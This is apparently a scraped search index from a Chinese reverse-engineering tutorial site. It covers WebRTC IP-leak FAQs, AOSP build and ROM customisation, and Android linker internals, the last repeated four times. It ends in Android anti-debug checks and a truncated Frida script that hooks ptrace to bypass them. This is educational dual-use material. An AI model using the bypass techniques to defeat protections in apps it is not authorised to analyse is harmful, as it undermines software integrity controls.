VPN 无法隐藏（192.168.x.x） 公网 IP: 可能绕过 VPN 隧道泄露真实 IP 解决方案: 禁用 WebRTC 或使用支持 WebRTC 保护的 VPN ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:7:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#q-vpn-能防止-webrtc-泄露吗"},{"categories":null,"collections":null,"content":"Q: 为什么浏览器允许 WebRTC 泄露 IP？ A: WebRTC 设计用于点对点通信，需要真实 IP 建立连接 这是功能需求，不是安全漏洞 浏览器逐步增强隐私保护（如 mDNS） ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:7:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#q-为什么浏览器允许-webrtc-泄露-ip"},{"categories":null,"collections":null,"content":"Q: mDNS 是什么？如何保护隐私？ A: mDNS (Multicast DNS) 是一种隐私保护机制： 用随机 .local 地址替代真实本地 IP Chrome 和 Safari 默认启用 Firefox 需要手动配置 示例：a1b2c3d4.local 而不是 192.168.1.100 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:7:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#q-mdns-是什么如何保护隐私"},{"categories":null,"collections":null,"content":"Q: 如何检测网站是否在收集 WebRTC 指纹？ A: 打开浏览器开发者工具 在 Console 中运行： RTCPeerConnection.prototype._createOffer = RTCPeerConnection.prototype.createOffer; RTCPeerConnection.prototype.createOffer = function () { console.trace(\"WebRTC createOffer called\"); return this._createOffer.apply(this, arguments); }; 查看是否有 WebRTC 调用的堆栈追踪 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:7:4","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#q-如何检测网站是否在收集-webrtc-指纹"},{"categories":null,"collections":null,"content":"进阶阅读 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:8:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#进阶阅读"},{"categories":null,"collections":null,"content":"官方文档 WebRTC API - MDN WebRTC 规范 ICE 协议 RFC 5245 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:8:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#官方文档"},{"categories":null,"collections":null,"content":"隐私研究 WebRTC IP Leak Vulnerability Fingerprintability of WebRTC WebRTC Privacy and Security Considerations ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:8:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#隐私研究"},{"categories":null,"collections":null,"content":"检测工具 BrowserLeaks WebRTC Test IPLeak.net Perfect Privacy Check IP ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:8:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#检测工具"},{"categories":null,"collections":null,"content":"相关章节 Canvas 指纹识别 TLS 指纹识别 浏览器指纹技术 反爬虫深度分析 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:9:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#相关章节"},{"categories":null,"collections":null,"content":"AOSP 与 Android 系统裁剪 Android 开源项目（AOSP）是 Android 操作系统的开源基础。能够编译和修改 AOSP 是进行深度系统级定制、安全研究和 ROM 开发的核心技能。本节将介绍 AOSP 的基本概念、编译流程以及常见的系统裁剪技术。 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:0:0","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#aosp-与-android-系统裁剪"},{"categories":null,"collections":null,"content":"1. AOSP 基础与编译 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:1:0","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#1-aosp-基础与编译"},{"categories":null,"collections":null,"content":"a) AOSP 源码同步 编译 AOSP 的第一步是获取其庞大的源代码树。 环境准备: 一个强大的 Linux 构建服务器（推荐 Ubuntu LTS），至少需要 16GB RAM 和 300GB 的可用磁盘空间。 安装必要的依赖包，如 git, curl, python, Java SDK 等。 获取 Repo 工具: Repo 是 Google 开发的、基于 Git 的代码库管理工具，用于管理 AOSP 中数百个不同的 Git 仓库。 # 下载 Repo 工具 mkdir -p ~/.bin curl https://storage.googleapis.com/git-repo-downloads/repo \u003e ~/.bin/repo chmod a+x ~/.bin/repo export PATH=~/.bin:$PATH # 创建工作目录 mkdir aosp \u0026\u0026 cd aosp # 初始化源码仓库，指定分支（例如 android-12.0.0_r1） repo init -u https://android.googlesource.com/platform/manifest -b android-12.0.0_r1 --depth=1 # 开始同步源码（这将是一个漫长的过程） repo sync -c -j8 --depth=1: 只同步最新的 commit，大幅减少下载量。 -c: 只同步当前分支。 -j8: 使用 8 个线程并行同步。 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:1:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#a-aosp-源码同步"},{"categories":null,"collections":null,"content":"b) 编译流程 设置环境: source build/envsetup.sh 选择目标 (Lunch): lunch aosp_arm64-eng aosp_arm64: 目标设备架构（64 位 ARM）。 eng: 构建变体（Engineering），包含最多的调试工具，权限为 root，适合开发和逆向。其他还有 user（发布版）和 userdebug（带 root 和调试功能的用户版）。 开始编译 (Make): m 编译产物: 编译完成后，所有的系统镜像文件都存放在 out/target/product/\u003cdevice_name\u003e/ 目录下，主要包括： system.img: 系统分区镜像。 vendor.img: 厂商分区镜像。 boot.img: 启动分区镜像，包含内核和 ramdisk。 userdata.img: 用户数据分区镜像。 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:1:2","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#b-编译流程"},{"categories":null,"collections":null,"content":"2. 系统裁剪与定制技术 拥有了编译 AOSP 的能力后，你就可以对系统进行任意的修改。 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:2:0","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#2-系统裁剪与定制技术"},{"categories":null,"collections":null,"content":"a) 预置与删除 App 路径: App 通常定义在 packages/apps/ 目录下。 修改 PRODUCT_PACKAGES: 在特定设备的 device.mk 文件中（例如 device/\u003cvendor\u003e/\u003cdevice_name\u003e/device.mk），有一个名为 PRODUCT_PACKAGES 的变量。 增加 App: 将你想要预置的 App 的模块名添加到这个列表中。 删除 App: 从这个列表中移除你不想要的系统 App（如 Calendar, Camera2）的模块名。 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:2:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#a-预置与删除-app"},{"categories":null,"collections":null,"content":"b) 修改 Framework 层 这是更深度的定制，可以改变 Android 系统的核心行为。 路径: Framework 核心代码位于 frameworks/base/。 示例：修改状态栏逻辑: 找到负责状态栏管理的 SystemUI App (frameworks/base/packages/SystemUI/)。 修改其中的 Java 或 XML 文件，例如，改变时钟的显示格式或电池图标。 重新编译 SystemUI 模块：m SystemUI。 只编译模块并生成新的 system.img：m snod (make systemimage-nodeps)。 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:2:2","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#b-修改-framework-层"},{"categories":null,"collections":null,"content":"c) 定制内核 (Kernel) AOSP 默认不包含内核源码。你需要从 Google 的内核源码仓库或设备厂商的开源站点单独下载内核源码，并进行编译。 获取内核源码: git clone https://android.googlesource.com/kernel/common.git 配置与编译: # 使用与 AOSP 匹配的交叉编译工具链 export CROSS_COMPILE=.../aarch64-linux-android-4.9/bin/aarch64-linux-android- # 配置内核 make defconfig # 编译内核镜像 make ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:2:3","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#c-定制内核-kernel"},{"categories":null,"collections":null,"content":"d) 制作完整的自定义 ROM 一个完整的自定义 ROM（如 LineageOS）的制作过程，就是上述所有技术的综合应用： 同步 AOSP 基础代码。 集成特定设备的驱动和配置文件（Device Tree）。 修改 Framework，添加自定义功能（如高级重启菜单）。 移除或替换系统 App。 集成定制的内核。 编译并打包成一个可供用户刷写的 zip 文件。 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:2:4","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#d-制作完整的自定义-rom"},{"categories":null,"collections":null,"content":"3. Android Linker 与 SO 加载原理 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:3:0","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#3-android-linker-与-so-加载原理"},{"categories":null,"collections":null,"content":"Linker 架构与工作原理 Android 系统使用动态链接器 (/system/bin/linker 或 /system/bin/linker64) 来加载和链接共享库 (.so 文件)。 系统架构 Runtime.loadLibrary() ↓ DexPathList.loadLibrary() ↓ nativeLoad() [JNI] ↓ android_dlopen_ext() ↓ do_dlopen() [linker] ↓ find_library_internal() ↓ load_library() → link_image() 核心函数分析 find_library_internal - 查找库: static soinfo* find_library_internal(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 检查是否已加载 soinfo* si = find_loaded_library_by_soname(ns, name); if (si != nullptr) { return si; } // 2. 在命名空间中搜索 std::string realpath; if (!find_library_in_namespace(ns, name, \u0026realpath)) { return nullptr; } // 3. 加载库文件 return load_library(ns, realpath.c_str(), rtld_flags, extinfo, needed_by); } load_library - 加载库: static soinfo* load_library(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 打开 ELF 文件 int fd = open(name, O_RDONLY | O_CLOEXEC); // 2. 解析 ELF 头 ElfReader elf_reader(name, fd, file_offset, file_size); if (!elf_reader.Load(extinfo)) { return nullptr; } // 3. 创建 soinfo 结构 soinfo* si = soinfo_alloc(ns, realpath, \u0026file_stat, rtld_flags, extinfo); // 4. 映射内存段 if (!si-\u003eprelink_image()) { return nullptr; } return si; } link_image - 链接镜像: bool soinfo::link_image(const soinfo_list_t\u0026 global_group, const soinfo_list_t\u0026 local_group, const android_dlextinfo* extinfo) { // 1. 解析动态段 if (!phdr_table_get_dynamic_section(phdr, phnum, load_bias, \u0026dynamic, \u0026dynamic_flags)) { return false; } // 2. 处理依赖库 for (ElfW(Dyn)* d = dynamic; d-\u003ed_tag != DT_NULL; ++d) { if (d-\u003ed_tag == DT_NEEDED) { const char* library_name = get_string(d-\u003ed_un.d_val); soinfo* lsi = find_library(library_name, ...); } } // 3. 重定位处理 if (!relocate(global_group, local_group)) { return false; } // 4. 调用构造函数 call_constructors(); return true; } SO 内存布局 0x7000000000 ┌─────────────────┐ │ .text (RX) │ 代码段 0x7001000000 ├─────────────────┤ │ .rodata (R) │ 只读数据段 0x7002000000 ├─────────────────┤ │ .data (RW) │ 可读写数据段 0x7003000000 ├─────────────────┤ │ .bss (RW) │ 未初始化数据段 0x7004000000 └─────────────────┘ 内存保护设置 int phdr_table_protect_segments(const ElfW(Phdr)* phdr_table, size_t phdr_count, ElfW(Addr) load_bias) { for (size_t i = 0; i \u003c phdr_count; ++i) { const ElfW(Phdr)* phdr = \u0026phdr_table[i]; if (phdr-\u003ep_type != PT_LOAD) continue; int prot = PFLAGS_TO_PROT(phdr-\u003ep_flags); if (mprotect(reinterpret_cast\u003cvoid*\u003e(seg_page_start + load_bias), seg_page_end - seg_page_start, prot) \u003c 0) { return -1; } } return 0; } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:3:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#linker-架构与工作原理"},{"categories":null,"collections":null,"content":"Linker 架构与工作原理 Android 系统使用动态链接器 (/system/bin/linker 或 /system/bin/linker64) 来加载和链接共享库 (.so 文件)。 系统架构 Runtime.loadLibrary() ↓ DexPathList.loadLibrary() ↓ nativeLoad() [JNI] ↓ android_dlopen_ext() ↓ do_dlopen() [linker] ↓ find_library_internal() ↓ load_library() → link_image() 核心函数分析 find_library_internal - 查找库: static soinfo* find_library_internal(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 检查是否已加载 soinfo* si = find_loaded_library_by_soname(ns, name); if (si != nullptr) { return si; } // 2. 在命名空间中搜索 std::string realpath; if (!find_library_in_namespace(ns, name, \u0026realpath)) { return nullptr; } // 3. 加载库文件 return load_library(ns, realpath.c_str(), rtld_flags, extinfo, needed_by); } load_library - 加载库: static soinfo* load_library(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 打开 ELF 文件 int fd = open(name, O_RDONLY | O_CLOEXEC); // 2. 解析 ELF 头 ElfReader elf_reader(name, fd, file_offset, file_size); if (!elf_reader.Load(extinfo)) { return nullptr; } // 3. 创建 soinfo 结构 soinfo* si = soinfo_alloc(ns, realpath, \u0026file_stat, rtld_flags, extinfo); // 4. 映射内存段 if (!si-\u003eprelink_image()) { return nullptr; } return si; } link_image - 链接镜像: bool soinfo::link_image(const soinfo_list_t\u0026 global_group, const soinfo_list_t\u0026 local_group, const android_dlextinfo* extinfo) { // 1. 解析动态段 if (!phdr_table_get_dynamic_section(phdr, phnum, load_bias, \u0026dynamic, \u0026dynamic_flags)) { return false; } // 2. 处理依赖库 for (ElfW(Dyn)* d = dynamic; d-\u003ed_tag != DT_NULL; ++d) { if (d-\u003ed_tag == DT_NEEDED) { const char* library_name = get_string(d-\u003ed_un.d_val); soinfo* lsi = find_library(library_name, ...); } } // 3. 重定位处理 if (!relocate(global_group, local_group)) { return false; } // 4. 调用构造函数 call_constructors(); return true; } SO 内存布局 0x7000000000 ┌─────────────────┐ │ .text (RX) │ 代码段 0x7001000000 ├─────────────────┤ │ .rodata (R) │ 只读数据段 0x7002000000 ├─────────────────┤ │ .data (RW) │ 可读写数据段 0x7003000000 ├─────────────────┤ │ .bss (RW) │ 未初始化数据段 0x7004000000 └─────────────────┘ 内存保护设置 int phdr_table_protect_segments(const ElfW(Phdr)* phdr_table, size_t phdr_count, ElfW(Addr) load_bias) { for (size_t i = 0; i \u003c phdr_count; ++i) { const ElfW(Phdr)* phdr = \u0026phdr_table[i]; if (phdr-\u003ep_type != PT_LOAD) continue; int prot = PFLAGS_TO_PROT(phdr-\u003ep_flags); if (mprotect(reinterpret_cast(seg_page_start + load_bias), seg_page_end - seg_page_start, prot) \u003c 0) { return -1; } } return 0; } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:3:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#系统架构"},{"categories":null,"collections":null,"content":"Linker 架构与工作原理 Android 系统使用动态链接器 (/system/bin/linker 或 /system/bin/linker64) 来加载和链接共享库 (.so 文件)。 系统架构 Runtime.loadLibrary() ↓ DexPathList.loadLibrary() ↓ nativeLoad() [JNI] ↓ android_dlopen_ext() ↓ do_dlopen() [linker] ↓ find_library_internal() ↓ load_library() → link_image() 核心函数分析 find_library_internal - 查找库: static soinfo* find_library_internal(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 检查是否已加载 soinfo* si = find_loaded_library_by_soname(ns, name); if (si != nullptr) { return si; } // 2. 在命名空间中搜索 std::string realpath; if (!find_library_in_namespace(ns, name, \u0026realpath)) { return nullptr; } // 3. 加载库文件 return load_library(ns, realpath.c_str(), rtld_flags, extinfo, needed_by); } load_library - 加载库: static soinfo* load_library(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 打开 ELF 文件 int fd = open(name, O_RDONLY | O_CLOEXEC); // 2. 解析 ELF 头 ElfReader elf_reader(name, fd, file_offset, file_size); if (!elf_reader.Load(extinfo)) { return nullptr; } // 3. 创建 soinfo 结构 soinfo* si = soinfo_alloc(ns, realpath, \u0026file_stat, rtld_flags, extinfo); // 4. 映射内存段 if (!si-\u003eprelink_image()) { return nullptr; } return si; } link_image - 链接镜像: bool soinfo::link_image(const soinfo_list_t\u0026 global_group, const soinfo_list_t\u0026 local_group, const android_dlextinfo* extinfo) { // 1. 解析动态段 if (!phdr_table_get_dynamic_section(phdr, phnum, load_bias, \u0026dynamic, \u0026dynamic_flags)) { return false; } // 2. 处理依赖库 for (ElfW(Dyn)* d = dynamic; d-\u003ed_tag != DT_NULL; ++d) { if (d-\u003ed_tag == DT_NEEDED) { const char* library_name = get_string(d-\u003ed_un.d_val); soinfo* lsi = find_library(library_name, ...); } } // 3. 重定位处理 if (!relocate(global_group, local_group)) { return false; } // 4. 调用构造函数 call_constructors(); return true; } SO 内存布局 0x7000000000 ┌─────────────────┐ │ .text (RX) │ 代码段 0x7001000000 ├─────────────────┤ │ .rodata (R) │ 只读数据段 0x7002000000 ├─────────────────┤ │ .data (RW) │ 可读写数据段 0x7003000000 ├─────────────────┤ │ .bss (RW) │ 未初始化数据段 0x7004000000 └─────────────────┘ 内存保护设置 int phdr_table_protect_segments(const ElfW(Phdr)* phdr_table, size_t phdr_count, ElfW(Addr) load_bias) { for (size_t i = 0; i \u003c phdr_count; ++i) { const ElfW(Phdr)* phdr = \u0026phdr_table[i]; if (phdr-\u003ep_type != PT_LOAD) continue; int prot = PFLAGS_TO_PROT(phdr-\u003ep_flags); if (mprotect(reinterpret_cast(seg_page_start + load_bias), seg_page_end - seg_page_start, prot) \u003c 0) { return -1; } } return 0; } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:3:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#核心函数分析"},{"categories":null,"collections":null,"content":"Linker 架构与工作原理 Android 系统使用动态链接器 (/system/bin/linker 或 /system/bin/linker64) 来加载和链接共享库 (.so 文件)。 系统架构 Runtime.loadLibrary() ↓ DexPathList.loadLibrary() ↓ nativeLoad() [JNI] ↓ android_dlopen_ext() ↓ do_dlopen() [linker] ↓ find_library_internal() ↓ load_library() → link_image() 核心函数分析 find_library_internal - 查找库: static soinfo* find_library_internal(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 检查是否已加载 soinfo* si = find_loaded_library_by_soname(ns, name); if (si != nullptr) { return si; } // 2. 在命名空间中搜索 std::string realpath; if (!find_library_in_namespace(ns, name, \u0026realpath)) { return nullptr; } // 3. 加载库文件 return load_library(ns, realpath.c_str(), rtld_flags, extinfo, needed_by); } load_library - 加载库: static soinfo* load_library(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 打开 ELF 文件 int fd = open(name, O_RDONLY | O_CLOEXEC); // 2. 解析 ELF 头 ElfReader elf_reader(name, fd, file_offset, file_size); if (!elf_reader.Load(extinfo)) { return nullptr; } // 3. 创建 soinfo 结构 soinfo* si = soinfo_alloc(ns, realpath, \u0026file_stat, rtld_flags, extinfo); // 4. 映射内存段 if (!si-\u003eprelink_image()) { return nullptr; } return si; } link_image - 链接镜像: bool soinfo::link_image(const soinfo_list_t\u0026 global_group, const soinfo_list_t\u0026 local_group, const android_dlextinfo* extinfo) { // 1. 解析动态段 if (!phdr_table_get_dynamic_section(phdr, phnum, load_bias, \u0026dynamic, \u0026dynamic_flags)) { return false; } // 2. 处理依赖库 for (ElfW(Dyn)* d = dynamic; d-\u003ed_tag != DT_NULL; ++d) { if (d-\u003ed_tag == DT_NEEDED) { const char* library_name = get_string(d-\u003ed_un.d_val); soinfo* lsi = find_library(library_name, ...); } } // 3. 重定位处理 if (!relocate(global_group, local_group)) { return false; } // 4. 调用构造函数 call_constructors(); return true; } SO 内存布局 0x7000000000 ┌─────────────────┐ │ .text (RX) │ 代码段 0x7001000000 ├─────────────────┤ │ .rodata (R) │ 只读数据段 0x7002000000 ├─────────────────┤ │ .data (RW) │ 可读写数据段 0x7003000000 ├─────────────────┤ │ .bss (RW) │ 未初始化数据段 0x7004000000 └─────────────────┘ 内存保护设置 int phdr_table_protect_segments(const ElfW(Phdr)* phdr_table, size_t phdr_count, ElfW(Addr) load_bias) { for (size_t i = 0; i \u003c phdr_count; ++i) { const ElfW(Phdr)* phdr = \u0026phdr_table[i]; if (phdr-\u003ep_type != PT_LOAD) continue; int prot = PFLAGS_TO_PROT(phdr-\u003ep_flags); if (mprotect(reinterpret_cast(seg_page_start + load_bias), seg_page_end - seg_page_start, prot) \u003c 0) { return -1; } } return 0; } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:3:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#so-内存布局"},{"categories":null,"collections":null,"content":"Linker 架构与工作原理 Android 系统使用动态链接器 (/system/bin/linker 或 /system/bin/linker64) 来加载和链接共享库 (.so 文件)。 系统架构 Runtime.loadLibrary() ↓ DexPathList.loadLibrary() ↓ nativeLoad() [JNI] ↓ android_dlopen_ext() ↓ do_dlopen() [linker] ↓ find_library_internal() ↓ load_library() → link_image() 核心函数分析 find_library_internal - 查找库: static soinfo* find_library_internal(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 检查是否已加载 soinfo* si = find_loaded_library_by_soname(ns, name); if (si != nullptr) { return si; } // 2. 在命名空间中搜索 std::string realpath; if (!find_library_in_namespace(ns, name, \u0026realpath)) { return nullptr; } // 3. 加载库文件 return load_library(ns, realpath.c_str(), rtld_flags, extinfo, needed_by); } load_library - 加载库: static soinfo* load_library(android_namespace_t* ns, const char* name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { // 1. 打开 ELF 文件 int fd = open(name, O_RDONLY | O_CLOEXEC); // 2. 解析 ELF 头 ElfReader elf_reader(name, fd, file_offset, file_size); if (!elf_reader.Load(extinfo)) { return nullptr; } // 3. 创建 soinfo 结构 soinfo* si = soinfo_alloc(ns, realpath, \u0026file_stat, rtld_flags, extinfo); // 4. 映射内存段 if (!si-\u003eprelink_image()) { return nullptr; } return si; } link_image - 链接镜像: bool soinfo::link_image(const soinfo_list_t\u0026 global_group, const soinfo_list_t\u0026 local_group, const android_dlextinfo* extinfo) { // 1. 解析动态段 if (!phdr_table_get_dynamic_section(phdr, phnum, load_bias, \u0026dynamic, \u0026dynamic_flags)) { return false; } // 2. 处理依赖库 for (ElfW(Dyn)* d = dynamic; d-\u003ed_tag != DT_NULL; ++d) { if (d-\u003ed_tag == DT_NEEDED) { const char* library_name = get_string(d-\u003ed_un.d_val); soinfo* lsi = find_library(library_name, ...); } } // 3. 重定位处理 if (!relocate(global_group, local_group)) { return false; } // 4. 调用构造函数 call_constructors(); return true; } SO 内存布局 0x7000000000 ┌─────────────────┐ │ .text (RX) │ 代码段 0x7001000000 ├─────────────────┤ │ .rodata (R) │ 只读数据段 0x7002000000 ├─────────────────┤ │ .data (RW) │ 可读写数据段 0x7003000000 ├─────────────────┤ │ .bss (RW) │ 未初始化数据段 0x7004000000 └─────────────────┘ 内存保护设置 int phdr_table_protect_segments(const ElfW(Phdr)* phdr_table, size_t phdr_count, ElfW(Addr) load_bias) { for (size_t i = 0; i \u003c phdr_count; ++i) { const ElfW(Phdr)* phdr = \u0026phdr_table[i]; if (phdr-\u003ep_type != PT_LOAD) continue; int prot = PFLAGS_TO_PROT(phdr-\u003ep_flags); if (mprotect(reinterpret_cast(seg_page_start + load_bias), seg_page_end - seg_page_start, prot) \u003c 0) { return -1; } } return 0; } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:3:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#内存保护设置"},{"categories":null,"collections":null,"content":"4. 反调试与检测技术 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:4:0","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#4-反调试与检测技术"},{"categories":null,"collections":null,"content":"init 函数中的反调试 __attribute__((constructor)) void anti_debug_check() { // 检测 Frida if (access(\"/data/local/tmp/frida-server\", F_OK) == 0) { _exit(1); } // 检测调试器 if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) { _exit(1); } // 检测虚拟机环境 check_emulator_files(); } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:4:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#init-函数中的反调试"},{"categories":null,"collections":null,"content":"符号表检测 void check_loaded_symbols() { void* handle = dlopen(NULL, RTLD_NOW); // 检测 Frida 符号 if (dlsym(handle, \"frida_agent_main\") != NULL) { _exit(1); } // 检测 Xposed 符号 if (dlsym(handle, \"xposed_bridge\") != NULL) { _exit(1); } } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:4:2","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#符号表检测"},{"categories":null,"collections":null,"content":"代码完整性校验 void check_code_integrity() { Dl_info info; dladdr((void*)check_code_integrity, \u0026info); // 计算代码段哈希 uint32_t current_hash = calculate_hash(info.dli_fbase, TEXT_SIZE); if (current_hash != EXPECTED_HASH) { _exit(1); } } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:4:3","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#代码完整性校验"},{"categories":null,"collections":null,"content":"5. Frida 绕过技术 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:5:0","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#5-frida-绕过技术"},{"categories":null,"collections":null,"content":"绕过 ptrace 检测 var ptrace = Module.findExportByName(\"libc.so\", \"ptrace\"); if (ptrace) { Interceptor.attach(ptrace, { onEnter: function(args) { var request = args[0].toInt32(); if (request === 0) { // PTRACE_TRACEME console.log(\"[+] ptrace(PTRACE_TRACEME) blocked\"); args[0] = ptr(-1); // 